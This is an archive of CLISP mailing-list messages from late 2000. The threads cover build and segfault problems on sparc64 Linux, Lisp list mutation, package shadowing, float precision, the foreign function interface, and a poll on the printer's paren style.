I am having issues compiling clisp on 64-bit Sparcs - specifically, an
Ultra 5 (360MHz UltraSparc IIi w/256k cache, SuSE Linux 7.0/sparc) and an
Ultra 10 (400MHz UltraSparc IIi w/2MB cache, Red Hat Linux 6.2/sparc).

I am using gcc and have tried make with no -DSAFETY= setting, and all
settings 1-4, inclusive. These have not succeeded. Settings above 2
resulted in a failure to compile "array.d" among other files, complaining
about invalid operands being passed to binary ==.

Settings where -DSAFETY is less than 2, or entrely left out, resulted in a
segfault (or bus error).

I have tried hacking src/configure to force it to configure for sparc64 -
however, the assembler complains about "requires v9|v9a; requested
architecture is sparclite". And SuSE's distribution includes a
sparc64-linux-gcc; however, this doesn't work properly: I guess it's only
supposed to compile kernels.

What do I need to do here?

Sincerely,

Sean Callanan

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Dear mailing list:

I have been working on the problem for some more time now, without much success.
I downloaded the CVS version and tried to compile that; it compiled fine (after
an error which I'll explain in a moment) but still no joy on the segfault
problem.

I have put a bug in at your SourceForge site detailing my problems, so I'll
simply state my problem/solution pair for this small subproblem.

When I compiled, I got the error

/bin/sh ../../libiconv/libcharset/autoconf/mkinstalldirs /home/sc843/lisp/clisp-
devel/clisp/src/libiconv/src
../../libiconv/libcharset/autoconf/mkinstalldirs: ../../libiconv/libcharset/auto
conf/mkinstalldirs: No such file or directory
make[2]: *** [install-lib] Error 1
make[2]: Leaving directory `/home/sc843/lisp/clisp-devel/clisp/src/libiconv/libc
harset'
make[1]: *** [all] Error 2

So I had to download a mkinstalldirs off the internet (trivial) and create
libiconv/libcharset/autoconf/mkinstalldirs.

In addition, I modified libiconv/libcharset/Makefile and changed the line

srcdir = ../../../libiconv/libcharset

to

srcdir = ../../libiconv/libcharset.

Hope I could be of service. I will gladly provide the mkinstalldirs and new
Makefile to anyone who may want it.

Sincerely,

Sean Callanan

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Hello Sean,

The support for sparc64 is only tentative and has never been tested.

> I am using gcc and have tried make with no -DSAFETY= setting, and all
> settings 1-4, inclusive. These have not succeeded. Settings above 2
> resulted in a failure to compile "array.d" among other files, complaining
> about invalid operands being passed to binary ==.

This is fixed in the current CVS.

> I have tried hacking src/configure to force it to configure for sparc64 -
> however, the assembler complains about "requires v9|v9a; requested
> architecture is sparclite".

Is it trying to assemble the wrong arisparc.d/arisparc64.d file? Maybe
there are bugs in arisparc64.d.

> I downloaded the CVS version and tried to compile that; it compiled
> fine (after an error which I'll explain in a moment)

The error is fixed now, thanks.

> but still no joy on the segfault problem.

Can you give a backtrace with maximum amount of debugging information?
Does the segfault persist when you remove all -O flags from the
CFLAGS in the Makefile?

Bruno

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Dear mailing list, particularly Mr. Bruno Haible,

Thank you for being so prompt. I received your message with pleasure, 
and have performed the steps you suggested off of the latest CVS source. 
The errors I mentioned in my previous letter were all corrected.

Anyway, I tried to do what you said on my Ultra 5, running SuSE Linux 
7.0/sparc. It might be of note that although the kernel is 64-bit, the 
only gcc capable of building userland binaries under sparc is 32-bit.

Here are the parameters being passed to GCC:

CFLAGS = -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
-fomit-frame-pointer -Wno-sign-compare -O2 -fno-schedule-insns -fno-gcse 
-DDYNAMIC_FFI -DSAFETY=3 -ggdb3

The following steps work:

make init
make allc
make libreadine.a
make lisp.run (lots of warnings, available upon request)

The following is the exact output of "make interpreted.mem"

./lisp.run -m 750KW -B . -N locale -Efile UTF-8 -norc -x "(load 
\"init.lisp\")
(sys::%saveinitmem) (exit)"
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
  \  `-+-'  /       8         8           8      ooooo   8oooo
   `-__|__-'        8         8           8           8  8
       |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000

;; Loading file defseq.lisp ...
;; Loading of file defseq.lisp is finished.
;; Loading file backquote.lisp ...
;; Loading of file backquote.lisp is finished.
;; Loading file defmacro.lisp ...make: *** [interpreted.mem] 
Segmentation fault

--

Here is a log of my interaction with gdb:

GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain 
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "sparc-suse-linux"...
.gdbinit:3: Error in sourced command file:
Function "sigsegv_handler_failed" not defined.
(gdb) set args -m 750KW -B . -N locale -Efile UTF-8 -norc -x "(load
\"init.lisp\") (sys::%saveinitmem) (exit)" 
(gdb) run
Starting program: /root/lisp/clisp-devel/src/lisp.run -m 750KW -B . -N 
locale
-Efile UTF-8 -norc -x "(load \"init.lisp\") (sys::%saveinitmem) (exit)"
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
  \  `-+-'  /       8         8           8      ooooo   8oooo
   `-__|__-'        8         8           8           8  8
       |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2000

;; Loading file defseq.lisp ...
;; Loading of file defseq.lisp is finished.
;; Loading file backquote.lisp ...
;; Loading of file backquote.lisp is finished.
;; Loading file defmacro.lisp ...
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) backtrace
No stack.
(gdb) info all-registers
The program has no registers now.

--

How should I get the information you want? Amusingly enough, lisp.run 
does run, even allowing me to do simple things like (+ 0 1).
I will leave the program as is, with interpreted.mem unmade. Anything 
you want me to do, I will do. However, as I am unfamiliar with debugging 
programs, I'm going to need a little help.

Sincerely,

Sean Callanan


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Dear all,

I have a program similar to the following.  I spent quite a long time to
debug and finally spotted that the bug is here.


     > (setf a-list '(1 2 3 4 5) ; a dynamic variable with global
     scope
     (1 2 3 4 5)
     >(defun change2 (lst el)  ; a function to modify data
           (setf (nth 2 lst) el)
            lst)
     CHANGE2
     >(let ((lst a-list))
            (setf lst (change2 lst 10)))
     (1 2 10 4 5)
     >a-list
     (1 2 10 4 5)


I thought I was modifying a local copy of the global data, but actually
the global data was changed as well.

I don't want to modify the global data, since I have to use the global
data multiple times and change the changes of each action.  Can anybody
help?

Thanks a lot!

Yang Shouxun



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Dear all,
<p>I have a program similar to the following.&nbsp; I spent quite a long
time to debug and finally spotted that the bug is here.
<br>&nbsp;
<blockquote>> (setf a-list '(1 2 3 4 5) ; a dynamic variable with global
scope
<br>(1 2 3 4 5)
<br>>(defun change2 (lst el)&nbsp; ; a function to modify data
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setf (nth 2 lst) el)
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lst)
<br>CHANGE2
<br>>(let ((lst a-list))
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (setf lst (change2 lst 10)))
<br>(1 2 10 4 5)
<br>>a-list
<br>(1 2 10 4 5)
<br>&nbsp;</blockquote>
I thought I was modifying a local copy of the global data, but actually
the global data was changed as well.
<p>I don't want to modify the global data, since I have to use the global
data multiple times and change the changes of each action.&nbsp; Can anybody
help?
<p>Thanks a lot!
<p>Yang Shouxun
<blockquote>&nbsp;</blockquote>

<pre>--&nbsp;
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> * In message <3A1FC33F.68F6B342@163.net>
> * On the subject of "[clisp-list] Q: why changed?"
> * Sent on Sat, 25 Nov 2000 21:48:47 +0800
> * Honorable bruce <bruce253@163.net> writes:
>
> I have a program similar to the following.  I spent quite a long time to
> debug and finally spotted that the bug is here.
> 
> 
>      > (setf a-list '(1 2 3 4 5) ; a dynamic variable with global
>      scope

note that `a-list' is set to a constant in the sense that you may not
modify it portably (some lisps will mark the memory where this quoted
list resides as immutable and signal an error when you try to modify
it. 

>      (1 2 3 4 5)
>      >(defun change2 (lst el)  ; a function to modify data
>            (setf (nth 2 lst) el)
>             lst)
>      CHANGE2
>      >(let ((lst a-list))
>             (setf lst (change2 lst 10)))
>      (1 2 10 4 5)
>      >a-list
>      (1 2 10 4 5)
> 
> 
> I thought I was modifying a local copy of the global data, but actually
> the global data was changed as well.

a-list is just a cons cell, which is a reference or a pointer or an
address - call it as you like, but it is not an immediate object in the
sense that you have to explicitly copy it when you want a copy to be
created. 

> I don't want to modify the global data, since I have to use the global
> data multiple times and change the changes of each action.  Can anybody
> help?

you should copy the global list each time, like this:

(let ((lst (copy-list a-list)))
  (setf lst (change2 lst 10)))

You will probably benefit from reading "ANSI CL" by Paul Graham.
You might also want to subscribe to the comp.lang.lisp newsgoup.

Good luck and thanks for using CLISP!

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Sam Steingold wrote:

> > I thought I was modifying a local copy of the global data, but actually
> > the global data was changed as well.
>
> a-list is just a cons cell, which is a reference or a pointer or an
> address - call it as you like, but it is not an immediate object in the
> sense that you have to explicitly copy it when you want a copy to be
> created.
>

So generally speaking, one has to explicitly copy things that look like an
address such as one can use `setf' to modify its content.

>
> > I don't want to modify the global data, since I have to use the global
> > data multiple times and change the changes of each action.  Can anybody
> > help?
>
> you should copy the global list each time, like this:
>
> (let ((lst (copy-list a-list)))
>   (setf lst (change2 lst 10)))
>
> You will probably benefit from reading "ANSI CL" by Paul Graham.
> You might also want to subscribe to the comp.lang.lisp newsgoup.

Thanks for your suggestion.  I could not find a copy of Graham's book for the
time being.  And I don't think there is any downloadable electronic copy.

Thanks for your prompt reply.

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Sam Steingold wrote:
<blockquote TYPE=CITE>> I thought I was modifying a local copy of the global
data, but actually
<br>> the global data was changed as well.
<p>a-list is just a cons cell, which is a reference or a pointer or an
<br>address - call it as you like, but it is not an immediate object in
the
<br>sense that you have to explicitly copy it when you want a copy to be
<br>created.
<br>&nbsp;</blockquote>
So generally speaking, one has to explicitly copy things that look like
an address such as one can use `setf' to modify its content.
<blockquote TYPE=CITE>&nbsp;
<br>> I don't want to modify the global data, since I have to use the global
<br>> data multiple times and change the changes of each action.&nbsp;
Can anybody
<br>> help?
<p>you should copy the global list each time, like this:
<p>(let ((lst (copy-list a-list)))
<br>&nbsp; (setf lst (change2 lst 10)))
<p>You will probably benefit from reading "ANSI CL" by Paul Graham.
<br>You might also want to subscribe to the comp.lang.lisp newsgoup.</blockquote>
Thanks for your suggestion.&nbsp; I could not find a copy of Graham's book
for the time being.&nbsp; And I don't think there is any downloadable electronic
copy.
<p>Thanks for your prompt reply.
<pre>--&nbsp;
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I am still experimenting with the `trees' pacakge from CMU as well as
Franz's free `htmlgen.cl' and had some questions resolving packages and
the read-eval-print loop.

In `htmlgen.cl', the DEFPACKAGE form looks like:

(defpackage :net.html.generator
  (:export #:html 
	   #:html-print
	   #:html-print-list
	   #:html-stream 
	   #:*html-stream*))

which is pretty understandable.  In the `rbtrees-package.lisp' file from
the `trees' pacakge, the DEFPACKAGE looks like:

(defpackage "RED-BLACK-TREES" (:use "COMMON-LISP" "TREES")
  (:nicknames "RB-TREES" "RBT")
  (:export make-red-black-tree
	   tree-p
	   size
	   element-type
	   name
	   empty-p
	   search
	   insert
	   traverse
	   minimum
	   maximum
	   successor
	   predecessor
	   delete-by-key
	   select
	   element-rank
	   empty-error
	   duplicate-key
	   version)
  (:shadow make-tree
	   tree-p
	   name
	   empty-p
	   insert
	   delete-by-key
	   empty-error
	   version)
  (:shadowing-import-from "TREES" search))

(slightly cleaned up).  `binary-trees-package.lisp' contains:

(defpackage "TREES" (:use "COMMON-LISP")
  (:export make-tree
	   tree-p
	   size
	   element-type
	   name
	   empty-p
	   search
	   insert
	   traverse
	   minimum
	   maximum
	   successor
	   predecessor
	   delete-by-key
	   empty-error
	   duplicate-key)
  (:shadow search))

My questions are as follows:

1) In the repl, I can type

(use-package :net.<TAB>

and get the proper completion (after loading the file, of course).
Whereas with the other form, I type

(use-package :red-<TAB>

and get nothing.  Why the difference?

2) When loading the appropriate files and typing the following:

(use-package :trees)

I get a name conflict with the symbol SEARCH.  Why is this?  Doesn't the
DEFPACKAGE specify that TREES::SEARCH overrides SEARCH in the current
package?  The same symptoms occur with:

(use-package :rbt)

only with more symbols.  Does :SHADOW not work?

3) Not really a CLISP question; more a package question.  What does the
(:USE "COMMON-LISP") declaration do?  `htmlgen.cl' doesn't use it and it
works fine.

This is with CLISP 2000-03-09 (clisp --version), although the source
tarball untarred into the directory clisp-2000-09-02.

As a side note, is the nightly snapshot site
(ftp://cellar.goems.com/pub/clisp/) down?  I can't seem to access it.

Thanks for all the help!
-- 
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> * In message <20001128232406.E1974@froyd3.laptop.rose-hulman.edu>
> * On the subject of "[clisp-list] Package question (possible bug?)"
> * Sent on Tue, 28 Nov 2000 23:24:06 -0500
> * Honorable Nathan Froyd <froydnj@rose-hulman.edu> writes:
>
> 1) In the repl, I can type
> 
> (use-package :net.<TAB>
> 
> and get the proper completion (after loading the file, of course).
> Whereas with the other form, I type
> 
> (use-package :red-<TAB>
> 
> and get nothing.  Why the difference?

you might have more than 1 package starting with "red-".
what happens when you hit TAB twice?
(this is the same behavior as with bash - both use readline)

> 2) When loading the appropriate files and typing the following:
> 
> (use-package :trees)
> 
> I get a name conflict with the symbol SEARCH.  Why is this?  Doesn't the
> DEFPACKAGE specify that TREES::SEARCH overrides SEARCH in the current
> package?  The same symptoms occur with:
> 
> (use-package :rbt)
> 
> only with more symbols.  Does :SHADOW not work?

use `shadowing-import'.

`search' comes to TREES from COMMON-LISP.
I will leave the details to comp.lang.lisp or Bruno, if he has time, but
I suggest that you read CLHS on `defpackage', `shadow' and
`package-shadowing-symbols'. 

> 3) Not really a CLISP question; more a package question.  What does the
> (:USE "COMMON-LISP") declaration do?  `htmlgen.cl' doesn't use it and it
> works fine.

in most lisps, COMMON-LISP and LISP are the same, but in CLISP they are
different (COMMON-LISP is for ANSI, LISP - for CLtL1), although, I hope,
not for long.

> This is with CLISP 2000-03-09 (clisp --version), although the source
> tarball untarred into the directory clisp-2000-09-02.

this is _strange_.  where did you get the tarball?!

> As a side note, is the nightly snapshot site
> (ftp://cellar.goems.com/pub/clisp/) down?  I can't seem to access it.

yes, it is dead, and, probably, for good.

I am investigating my options.
If you have a linux box and can give me ssh access to it, it would be
greatly appreciated...

-- 
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On Wed, Nov 29, 2000 at 11:01:20AM -0500, Sam Steingold wrote:
> you might have more than 1 package starting with "red-".
> what happens when you hit TAB twice?
> (this is the same behavior as with bash - both use readline)

I don't have multiple packages that start with "red-".  Nothing happens
after hitting TAB twice.

> use `shadowing-import'.
> 
> `search' comes to TREES from COMMON-LISP.
> I will leave the details to comp.lang.lisp or Bruno, if he has time, but
> I suggest that you read CLHS on `defpackage', `shadow' and
> `package-shadowing-symbols'. 

Ugh. :)  It would seem to me that :SHADOW would do what you seem to
indicate :SHADOWING-IMPORT does... (I haven't read the CLHS yet)

> > 3) Not really a CLISP question; more a package question.  What does the
> > (:USE "COMMON-LISP") declaration do?  `htmlgen.cl' doesn't use it and it
> > works fine.
> 
> in most lisps, COMMON-LISP and LISP are the same, but in CLISP they are
> different (COMMON-LISP is for ANSI, LISP - for CLtL1), although, I hope,
> not for long.

But why the difference?  I think the `trees' package horks if the (:USE
"COMMON-LISP") is not present.  Not sure, though.

> > This is with CLISP 2000-03-09 (clisp --version), although the source
> > tarball untarred into the directory clisp-2000-09-02.
> 
> this is _strange_.  where did you get the tarball?!

From the nightly snapshot site.  Tarball clisp-2000-09-02.tgz.

> > As a side note, is the nightly snapshot site
> > (ftp://cellar.goems.com/pub/clisp/) down?  I can't seem to access it.
> 
> yes, it is dead, and, probably, for good.
> 
> I am investigating my options.
> If you have a linux box and can give me ssh access to it, it would be
> greatly appreciated...

I do, but I'm not sure if the connection speed would be up to snuff...
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Nathan Froyd writes:

> In `htmlgen.cl', the DEFPACKAGE form looks like:
> 
> (defpackage :net.html.generator ...

> which is pretty understandable.  In the `rbtrees-package.lisp' file from
> the `trees' pacakge, the DEFPACKAGE looks like:
> 
> (defpackage "RED-BLACK-TREES" ...
> 
> My questions are as follows:
> 
> 1) In the repl, I can type
> 
> (use-package :net.<TAB>
> 
> and get the proper completion (after loading the file, of course).
> Whereas with the other form, I type
> 
> (use-package :red-<TAB>
> 
> and get nothing.  Why the difference?

Because :red-<TAB> is asking for the completion of a keyword startting
with "RED-". The first defpackage form created an (otherwise useless)
keyword, the second form didn't.

> 2) When loading the appropriate files and typing the following:
> 
> (use-package :trees)
> 
> I get a name conflict with the symbol SEARCH.  Why is this?  Doesn't the
> DEFPACKAGE specify that TREES::SEARCH overrides SEARCH in the current
> package?

The (:shadow search) in package TREES resolves the conflict for the
package TREES. The (:shadowing-import-from "TREES" search) resolves
the conflict for the package RED-BLACK-TREES. But you still get a
conflict in every other package that wants to use-package TREES.

One way to resolve this is something like

    (defmacro trees:use-trees-package ()
      `(progn
         (shadowing-import 'trees:search *package*)
         (use-package #:trees *package*)))

and then use

     (trees:use-trees-package)

instead of

     (use-package :trees)

> 3) Not really a CLISP question; more a package question.  What does the
> (:USE "COMMON-LISP") declaration do?

It requests CLtL2/ANSI CL semantics from the implementation. If you
don't write it, some implementations (like CLISP) use "LISP" and thus
offer CLtL1 semantics where CLtL1 and CLtL2 differ.

Bruno

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I'm trying to write a lisp function to do my homework for me (aren't we
all?).  It's reprinted below (along with support):

(setf *warn-on-floating-point-contagion* nil)

(defvar *tolerance* 0.000000001)

(defun close-enough-p (x actual)
  (> *tolerance* (abs (- actual x))))

(defun fixed-point (func x)
  (declare (double-float x))
  (let ((iterations 1))
    (flet ((next-x (z)
                   (funcall func z)))
      (labels ((xloop (z)
                      (let ((new-z (next-x z)))
                        (if (close-enough-p (funcall func new-z)
                                            0)
                            (values new-z iterations)
                          (progn
                            (incf iterations)
                            (print (float new-z))
                            (xloop new-z))))))
        (xloop x)))))

Perhaps my style is bad.  Anyway, the problem I have is that CLISP only
seems to want to do 7 decimal place precision; I would like something
more like 12 or so.  Is there any way to tell CLISP that I would like
things done with something other than SHORT-FLOAT (which is what I
assume it's using)?  This is on Linux x86.

Thanks!
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Nathan Froyd writes:
> Anyway, the problem I have is that CLISP only
> seems to want to do 7 decimal place precision; I would like something
> more like 12 or so.

7 decimal places, that's the precision of SINGLE-FLOAT. 16 decimal
places, is DOUBLE-FLOAT, and for more (unlimited), you have LONG-FLOAT.

> Is there any way to tell CLISP that I would like things done with
> something other than SHORT-FLOAT (which is what I assume it's using)?

SHORT-FLOAT is even shorter: 5 decimal places.

All you need to do is to give the initial values in double-float, like
2.718d0, or set *read-default-float-format* to DOUBLE-FLOAT.

Bruno

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Justice, Randy -CONT writes:
> 
> Does Lisp have hooks for C/C++ functions?

For C functions, yes. See section "Foreign function interface" in the
impnotes.

For C++ functions, no, unless you declare them extern "C".

Bruno

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Thank You

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Justice, Randy -CONT writes:
> 
> Does Lisp have hooks for C/C++ functions?

For C functions, yes. See section "Foreign function interface" in the
impnotes.

For C++ functions, no, unless you declare them extern "C".

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<BR><FONT SIZE=2>From: Bruno Haible [<A HREF="mailto:haible@ilog.fr">mailto:haible@ilog.fr</A>]</FONT>
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<P><FONT SIZE=2>For C functions, yes. See section &quot;Foreign function interface&quot; in the</FONT>
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<P><FONT SIZE=2>For C++ functions, no, unless you declare them extern &quot;C&quot;.</FONT>
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> * In message <B4CA1F5D8D23D411ADC7009027E791BF1DF64F@pens0394.cnet.navy.Mil>
> * On the subject of "[clisp-list] C/C++ Interface"
> * Sent on Tue, 5 Dec 2000 08:15:33 -0600 
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> Does Lisp have hooks for C/C++ functions?

You probably mean FFI - please see the appropriate section in the
implementation notes (available on the homepage http://clisp.cons.org
and with the source distribution, see impnotes.html or impnotes.xml) as
well as code samples in the modules directory.

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> * In message <20001204214321.F8327@froyd3.laptop.rose-hulman.edu>
> * On the subject of "[clisp-list] floating point question"
> * Sent on Mon, 4 Dec 2000 21:43:21 -0500
> * Honorable Nathan Froyd <froydnj@rose-hulman.edu> writes:
>
> (setf *warn-on-floating-point-contagion* nil)

this is a grave mistake.
floating point contagion should be avoided so this warning should be on!

> (defvar *tolerance* 0.000000001)

this is a single float.
please read the CLISP impnotes 12.1.4.4 (and the same section in CLHS -
the impnotes is an annotation to CLHS!).
CLHS 2.3.2.2 would also be _very_ useful.

> (defun close-enough-p (x actual)
>   (> *tolerance* (abs (- actual x))))
> 
> (defun fixed-point (func x)
>   (declare (double-float x))
>   (let ((iterations 1))
>     (flet ((next-x (z) (funcall func z)))
you don't need this `flet', IMO.

>       (labels ((xloop (z)
>                       (let ((new-z (next-x z)))
>                         (if (close-enough-p (funcall func new-z)

if you have the `flet', why not use it here too?!

>                                             0)
>                             (values new-z iterations)
>                           (progn
>                             (incf iterations)
>                             (print (float new-z))
>                             (xloop new-z))))))
>         (xloop x)))))
>
> Perhaps my style is bad.

it's a little but schemish.  An ANSI CL is not required to eliminate
tail-recursion, so an explicit iteration would be better, especially
since it is not much harder to write.
(I have something similar in CLLIB/math.lisp).

> Anyway, the problem I have is that CLISP only seems to want to do 7
> decimal place precision; I would like something more like 12 or so.
> Is there any way to tell CLISP that I would like things done with
> something other than SHORT-FLOAT (which is what I assume it's using)?
> This is on Linux x86.

you should look at *READ-DEFAULT-FLOAT-FORMAT*.

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I would like to know if there are any plans to work on the thread
support in CLISP.

As far as I can tell from the current thread stuff, some basic
support is there but nothing is exported to the lisp level.

How difficult will it be to be able to do some experiments? Real posix
threads may be tough, but would it be easier to enable some sort of
cooporative threading ala schemes call/cc?


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> * In message <ofsno2rojr.fsf@chl.ted.dk.eu.ericsson.se>
> * On the subject of "[clisp-list] threads"
> * Sent on 06 Dec 2000 08:34:16 +0100
> * Honorable Christian Lynbech <chl@ericssontelebit.com> writes:
>
> I would like to know if there are any plans to work on the thread
> support in CLISP.

are you volunteering? :-)

> As far as I can tell from the current thread stuff, some basic
> support is there but nothing is exported to the lisp level.

true.  Gilbert Baumann claimed that he could do some switching on the
lisp level a couple of years ago, but it never got polished enough to be
included into the main source tree.

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Please participate in the poll on the future default behavior of the
CLISP printer!

Traditionally, clisp has been printing lists like this:

        (first (second third
                 fourth
        )      )

CLtL/CLHS use the different style:

        (first (second third
                fourth))

This is customisable using
 `lisp:*print-rpars*'
  (http://clisp.sourceforge.net/impnotes.html#pr-rpars)
and
 `lisp:*print-indent-lists*'
  (http://clisp.sourceforge.net/impnotes.html#pr-indent)
so you can change the style at will.

The question of the poll is the _default_ value of these variables,
i.e., what the novice user sees.

You can vote
        YES, if you want to _KEEP_ the current default (traditional
             CLISP printing _with_ hanging parens)
or
        NO,  if you want to _CHANGE_ the default to the one used by
             CLtL/CLHS (_no_ hanging parens)

The _correct_ way to vote it to visit 
https://sourceforge.net/survey/survey.php?group_id=1355&survey_id=11177

this requires a free account on sourceforge.
please get it - you will be able to fill out our other survey too!

If you cannot use the sourceforge, please reply to this list with your
vote.  Your vote message must consist of a single line
        "My vote: NO"
or
        "My vote: YES"
Discussion is welcome, but must go to in a separate message.
There is no deadline, but you are encouraged to vote ASAP.

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On 05 Dec 2000 10:33:50 -0500, Sam Steingold <sds@gnu.org> wrote:

> > * Honorable Nathan Froyd <froydnj@rose-hulman.edu> writes:
> >
> > (setf *warn-on-floating-point-contagion* nil)
> 
> this is a grave mistake.
> floating point contagion should be avoided so this warning should be on!

If you don't set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL with Garnet,
your console gets floooded with warnings :) Is it safe to assume that such
warnings are mostly harmless for systems such as Garnet, which are not
number crunching applications?


Paolo
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Paolo Amoroso writes:

> If you don't set *WARN-ON-FLOATING-POINT-CONTAGION* to NIL with Garnet,
> your console gets floooded with warnings :) Is it safe to assume that such
> warnings are mostly harmless for systems such as Garnet, which are not
> number crunching applications?

Yes. Although Garnet does some kinds of number crunching when
computing the optimal size of widgets through constraints.

Bruno

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My vote: YES


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Dear all,

It seems to me that overwriting an existing file with shorter length
gives rise to bad file.

(defun updatefile (filename obj)
;; open-with-file :if-exists :overwrite
;; prin1 obj ..
)

>(updatefile "test" '(1 2 3 4 5))
;; Writing file ...
(1 2 3 4 5)
>(updatefile "test" '(1 2 3))
;; Writing file ...
(1 2 3)
>(run-shell-command "cat test")
(1 2 3)4 5)

I'm using CLISP-2000-03-06 on Linux.

Best!

Shouxun

P.S.  Sorry I've sent two messages by mistake to Sam that should be to
the clisp-list.

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> Dear all,
> 
> It seems to me that overwriting an existing file with shorter length
> gives rise to bad file.
> 
> (defun updatefile (filename obj)
> ;; open-with-file :if-exists :overwrite
> ;; prin1 obj ..
> )
> 
> >(updatefile "test" '(1 2 3 4 5))
> ;; Writing file ...
> (1 2 3 4 5)
> >(updatefile "test" '(1 2 3))
> ;; Writing file ...
> (1 2 3)
> >(run-shell-command "cat test")
> (1 2 3)4 5)
> 
> I'm using CLISP-2000-03-06 on Linux.
> 

You must use :supersede instead of :overwrite.

Thibault Langlois


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Dear mailing list:

I have had problems in the recent past compiling clisp on sparc64 targets
running UltraLinux. I have sent e-mails to this list as well as Mr.
Haible offering my assistance but haven't received a response or
acknowledgement. So here goes again.

UltraLinux has a 64-bit kernel running 32-bit userland gcc and binaries.
The only 64-bit gcc available only compiles kernels. Therefore, I figured
sparc32-linux versions of CLISP would work. They do not.

I have tried building CLISP on a Sun Ultra5 and Ultra10. Both required the
latest CVS version and SAFETY=3 but segfaulted upon running, after loading
a few files (that is, lisp.run built but crashed upon reading
interpreted.mem). If anyone is interested, I will provide boring compile
messages, warnings, and errors as well as a transcript of an unsuccessful
gdb session.     

I would really like to see CLISP working on linux-sparc64 targets. I would
assume it would require only small modifications from the sparc32 base,
but I don't know where to begin. I know C, but have not worked on a large
project like this, much less with any system-dependent stuff.

However, I am willing to put time, energy, and processing power into this.
I have access to some pretty decent Sun hardware (Ultra 10 running Red
Hat, possibly Ultra 10 running SuSE, definitely Ultra 5 running SuSE) so
no problems there.

Please do tell me whether my help will be useful or whether this port will
simply not be possible. If the latter is the case, then I will try my luck
with a different Common Lisp, like GCL, but I'd so much prefer using
CLISP!

Thank you for considering my help and please do respond. I hate to be
repetitive, but not being responded to kind of encourages that :^<

Sincerely,

Sean Callanan           

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> * In message <Pine.A32.3.95.1001208103145.89672A-100000@bard.edu>
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> I am willing to put time, energy, and processing power into this.

Sean, the CLISP developers are very glad that you would like to help.
Welcome!

Please replace all "-O" in the makefiles with "-g", and try again,
then send the GDB backtrace.
The only person who can really help you here is Bruno.
He is rather busy at the moment, so please bear with us.

Please note that Reply-To: is set to <clisp-devel@lists.sourceforge.net>
since that list is more appropriate for the development discussion.
You should definitely subscribe to it.

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My vote: NO

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> You can vote
>         YES, if you want to _KEEP_ the current default (traditional
>              CLISP printing _with_ hanging parens)
> or
>         NO,  if you want to _CHANGE_ the default to the one used by
>              CLtL/CLHS (_no_ hanging parens)

There have been 3 "YES" votes and 11 "NO" votes.

The default behavior has just been changed.

The development team thanks everyone who participated in the poll.

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>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:

    >> You can vote
    >> YES, if you want to _KEEP_ the current default (traditional
    >> CLISP printing _with_ hanging parens)
    >> or
    >> NO,  if you want to _CHANGE_ the default to the one used by
    >> CLtL/CLHS (_no_ hanging parens)

    Sam> There have been 3 "YES" votes and 11 "NO" votes.

    Sam> The default behavior has just been changed.

    Sam> The development team thanks everyone who participated in the poll.

Just out of curiosity, how many people are on the list?  (I didn't
vote because either way is ok, but I would have voted for CLtL if
forced too.)

Ray

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>>>>> "Raymond" == Raymond Toy <toy@rtp.ericsson.se> writes:

>>>>> "Sam" == Sam Steingold <sds@gnu.org> writes:
    >>> You can vote YES, if you want to _KEEP_ the current default
    >>> (traditional CLISP printing _with_ hanging parens) or NO, if
    >>> you want to _CHANGE_ the default to the one used by CLtL/CLHS
    >>> (_no_ hanging parens)

    Sam> There have been 3 "YES" votes and 11 "NO" votes.

    Sam> The default behavior has just been changed.

    Sam> The development team thanks everyone who participated in the
    Sam> poll.

    Raymond> Just out of curiosity, how many people are on the list?
    Raymond> (I didn't vote because either way is ok, but I would have
    Raymond> voted for CLtL if forced too.)

    Raymond> Ray _______________________________________________
    Raymond> clisp-list mailing list clisp-list@lists.sourceforge.net
    Raymond> http://lists.sourceforge.net/mailman/listinfo/clisp-list

Voting was quite difficult: you had to register at sourceforge, but I
did not succeed in registering: I received an email message with an
URL to which I had to connect, but it was impossible (twice); I did
not insist since either way was OK for me, but I would have voted for
CLtL too.

Carlo Traverso

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> * In message <4nlmtjvrci.fsf@rtp.ericsson.se>
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>
> Just out of curiosity, how many people are on the list?

http://lists.sourceforge.net/mailman/roster/clisp-list

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> * In message <200012140441.FAA05111@max.dm.unipi.it>
> * On the subject of "Re: [clisp-list] Re: Paren placement poll - RESULTS"
> * Sent on Thu, 14 Dec 2000 05:41:54 +0100 (MET)
> * Honorable Carlo Traverso <traverso@posso.dm.unipi.it> writes:
>
> Voting was quite difficult: you had to register at sourceforge, but I
> did not succeed in registering: I received an email message with an
> URL to which I had to connect, but it was impossible (twice); I did

they are quite overloaded these days.

you might want to try again next week - they are upgrading their
hardware tomorrow.

> not insist since either way was OK for me, but I would have voted for
> CLtL too.

you should have voted by mail.

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Dear list members,

What does the following sigsegv mean?

   *** - handle_fault error2 ! address = 0x6C0078 not in
[0x20234000,0x2098DDC4) !
   SIGSEGV cannot be cured. Fault address = 0x6C0078.

After the signal the CLISP process died.

Does it mean that there is some bug in my programs,  such as array index
out of range?

Best!

